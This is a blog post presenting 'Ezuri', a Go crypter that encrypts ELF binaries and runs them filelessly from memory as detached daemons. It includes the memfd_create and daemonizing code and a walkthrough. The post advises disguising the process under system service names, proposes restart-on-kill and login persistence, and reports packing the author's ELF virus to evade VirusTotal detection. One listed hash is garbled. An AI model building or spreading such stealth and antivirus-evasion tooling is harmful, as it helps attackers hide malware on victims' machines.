

# Linux ELF Runtime Crypter

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 [guitmz.com/linux-elf-runtime-crypter](https://github.com/guitmz.com/linux-elf-runtime-crypter)

Guilherme Thomazi

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"Even for Elves, they were stealthy little twerps. They'd taken our measure before we'd even seen them." — Marshall Volnikov

Last month I wrote a [post](#) about the `memfd_create` syscall and left some ideas in the end. Today I'm here to show an example of such ideas implemented in an ELF runtime crypter (kinda lame, I know, but good for this demonstration).

## What is it?

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Glad you asked. `Ezuri` is a small `Go` crypter that uses `AES` to encrypt a given file and merges it with a stub that will decrypt and execute the file from memory (using the previously mentioned `memfd_create` syscall). My original goal was to write it in `Assembly` but that would require more time so it is a task for the future.

It will also do some basic tricks during the process execution, making it a little bit harder to be detected by an inexperienced eye. The main trick consists on *daemonizing* the process, detaching it from a `tty`, having it to run in the background (and as I said, from memory). If you are not familiar with daemons, you can find more information [here](#).

As usual, the full source code with more instructions can be found in my GitHub:

<https://github.com/guitmz/ezuri>

It's also worth mentioning that it **ONLY** works on **64 bits Linux** systems, but you can easily adapt the code if necessary, I'm just lazy.

## Where the magic happens

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Remember this function from my last post?

```
func runFromMemory(displayName string, filePath string) {
    fdName := "" // *string cannot be initialized
    fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&fdName)),
    uintptr(mfdCloexec), 0)

    buffer, _ := ioutil.ReadFile(filePath)
    _, _ = syscall.Write(int(fd), buffer)

    fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
    _ = syscall.Exec(fdPath, []string{displayName}, nil)
}
```

That's right, with some small adjustments, we can achieve our goal of running the target executable as a daemon:

```
func runFromMemory(procName string, buffer []byte) {
    fdName := "" // *string cannot be initialized

    fd, _, _ := syscall.Syscall(memfdCreateX64, uintptr(unsafe.Pointer(&fdName)),
    uintptr(mfdCloexec), 0)
    _, _ = syscall.Write(int(fd), buffer)

    fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)

    switch child, _, _ := syscall.Syscall(fork, 0, 0, 0); child {
    case 0:
        break
    case 1:
        // Fork failed!
        break
    default:
        // Parent exiting...
        os.Exit(0)
    }

    _ = syscall.Umask(0)
    _, _ = syscall.Setsid()
    _ = syscall.Chdir("/")

    file, _ := os.OpenFile("/dev/null", os.O_RDWR, 0)
    syscall.Dup2(int(file.Fd()), int(os.Stdin.Fd()))
    file.Close()

    _ = syscall.Exec(fdPath, []string{procName}, nil)
}
```

No proper error handling at this time (told you I was lazy).

You will need `Go` and `GCC` installed and configured in your machine to proceed with the next section if you want to try `Ezuri` yourself.

## See it in action

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Let's see this thing working then. A small `C` program will be used as a target executable here. The program will write a little *demon* into a file named `log.txt` in the current directory every second for as long as it's running, because we are dealing with *daemons*! Got it? *Demon, daemon...*

Bad jokes aside, here's the code:

```

#include <stdio.h>

int main(int argc, char ** argv) {
    FILE * fp = fopen("/tmp/log.txt", "w+");
    while (1) {
        sleep(1);
        fprintf(fp, "I always wanted to be a DAEMON!\n");
        fprintf(fp, "  |\\__|/|\n");
        fprintf(fp, " /      \\n");
        fprintf(fp, "|  /\\__|/|\n");
        fprintf(fp, "||\\  <.><.>\n");
        fprintf(fp, "| _      > )\n");
        fprintf(fp, " \\    /----\n");
        fprintf(fp, " |   -\\/\n");
        fprintf(fp, " /      \\n\n");
        fprintf(fp, "Wait, something is not right...\n");
        fflush(fp);
    }
    fclose(fp);
    return 0;
}

```

Building `demon.c` :

```
$ gcc demon.c -o demon
```

We should also build `Ezuri` , running the following from inside of the folder that contains its source code:

```
$ go build -o ezuri .
```

The `stub` will be compiled during the crypter execution. After you enter your desired parameters like below:

```

$ ./ezuri
[?] Path of file to be encrypted: demon
[?] Path of output (encrypted) file: crypteDemon
[?] Name of the target process: DEMON
[?] Encryption key (32 bits - random if empty):
[?] Encryption IV (16 bits - random if empty):

[!] Random encryption key (used in stub): R@7ya3fo1#y67rCtNOYwpm5ly0A5xeYY
[!] Random encryption IV (used in stub): 5Ti65dgBKidm5%SA
[!] Generating stub...

```

I chose to let `Ezuri` generate a encryption key for me but feel free to enter your own if you wish.

Now you should have a file named `crypteDemon` in your current directory. This file contains the `stub + demon (encrypted)` executables (in this order, actually).

Execute `crypteDemon` and inspect its process:

```

$ ./crypteDemon
$ ps -f $(pidof DEMON)
UID          PID  PPID  C  STIME TTY          STAT   TIME CMD
guitmz    18607      1  0  18:11 ?           Ss      0:00 DEMON

```

Note that this time, you have `?` for the `TTY`, which means that the process is detached from any terminals and running in the background.

If you check `/tmp/log.txt` file, you should see a bunch of little demons being inserted into the file like this:

```

$ tailf /tmp/log.txt
I always wanted to be a DAEMON!
  | \__ / |
 /       \
|   / \__ / |
|| \ <. > <. >
| _   > )
 \ /-----
  |   - \ /
 /     \

```

Wait, something is not right...

Finally, don't forget to kill your test process:

```
$ kill $(pidof DEMON)
```

## Final thoughts

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If you give your process a proper name (something related to an actual Linux process, like `firewalld`, `apparmor` or even `xorg`), it can be difficult to spot your executable.

Additionally, further work on this project can make it even more reliable (for example, making reverse engineering of your commercial software more difficult). A few thoughts:

- Deamon responding to *process signals* (such as `SIGHUP`, `SIGKILL`, etc) to restart its process if killed, for example. I may write a post about it in the future as I have already wrote some code that takes advantage of this.
- Play around with the encryption method, the keys (like using multiple keys, removing the key from the stub somehow) and so on.
- Something like autostarting with every user login could also be implemented.

Those are all basic ideas. `memfd_create` has a lot of potential and can be combined with multiple techniques other than a simple crypter/dropper.

**Update:** I have packed my latest ELF prepender `Linux.Cephei` with `Ezuri` and uploaded to VirusTotal. Results are below:

*Unpacked Linux.Cephei:*

<https://www.virustotal.com/gui/file/35308b8b770d2d4f78299262f595a0769e55152cb432d0efc42292db01609a18/detection>

*Packed Linux.Cephei:*

<https://www.virustotal.com/gui/file/dddb714157f2ef91c1ec35ocdfid1f545290967f61491404c81b4e6e52f5c41f/detection>

So as of today (May 2nd 2019), the **Ezuri** stub is undetected.

TMZ